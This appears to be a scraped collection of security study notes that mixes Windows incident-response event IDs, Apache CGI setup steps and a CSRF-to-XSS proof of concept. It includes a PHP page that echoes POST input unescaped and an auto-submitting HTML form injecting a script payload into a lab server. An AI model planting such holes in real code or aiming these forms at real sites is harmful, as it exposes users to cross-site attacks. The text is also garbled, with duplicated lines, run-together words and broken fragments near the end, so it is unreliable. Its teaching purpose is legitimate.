Some Interesting IR eventCodes are:
Login: 4624
Service install : 4697 ,7045
Service Start Type changed: 7040
New Process created: 4688
Login: 4624
Service install : 4697 ,7045
Service Start Type changed: 7040
New Process created: 4688
sudo yum install httpd
httpd.confhttpd we have to change one more thing inside /etc/httpd/conf/httpd.conf:<Directory "var/www/html">
Options +ExecCGI
AddHandler cgi-script .cgi .pl
</Directory>
Change permissions to allow for CGI to execute
And this one got me stuck a lot! Don't overlook this!
You need to tell your server that these CGI scripts are allowed to be executed as programs.
chmod 705 *.cgi
Or you can target individual CGI scripts.
chmod 705 hello.cgi
Put cgi files in /var/www/cgi-bin/ and run as http://serverip/cgi-bin/script.cgi
cat /etc/httpd/conf/httpd.conf | grep ScriptAlias should have something like this in the output
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
This is enough to run a test cgi script.
In case aces you might need to install more packages for a particular script such as MD5 digest.
# sudo yum install perl-Digest-MD5 -y
Now Reboot Apache : sudo apachectl stop, sudo apachectl start
<form action="post.php" method="post">
<input type="text" name="comment" value="">
<input type="submit" name="submit" value="Submit">
</form>
post.php<?php
echo $_POST["comment"];
Now lets create a simple html page to exploit it. I was too lazy to create one myself so i decided burp should do it for me. We can call it, test.html.Now for the sake of this proof of concept to proceed, let us assume an attacker was able to redirect users to his malicious web server, serving test.html, or just sends this html page as an attachment.<html><!-- Simple Post submissions are not blocked by Same origin policy--><body><script>history.pushState('', '', '/')</script><form action="http://10.211.55.2/xss/post.php" method="POST"><input type="hidden" name="comment" value="testw<script>alert(12345)</script>wxvu2" /><input type="hidden" name="submit" value="Submit" /><input type="submit" value="Submit request" /></form></body></html>
<!DOCTYPE html> <html> <!-- Simple Post submissions are not blocked by Same origin policy--> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.211.55.2/xss/post.php" method="POST"> <input type="hidden" name="comment" value="testw<script>alert(12345)</script>wxvu2" /> <input type="hidden" name="submit" value="Submit" /> <input type="submit" id ="ert" value="Submit request" /> </form> </body> <script> document.getElementById("ert").submit(); </script> </html>
XMLHttpRequest or Fetch APIs in a cross-site manner, as discussed above.@font-face within CSS)drawImage.Content-Type request header for simple requests are:application/x-www-form-urlencodedmultipart/form-datatext/plainOPTIONS method to the resource on the other domain, in order to determine whether the actual request is safe to send.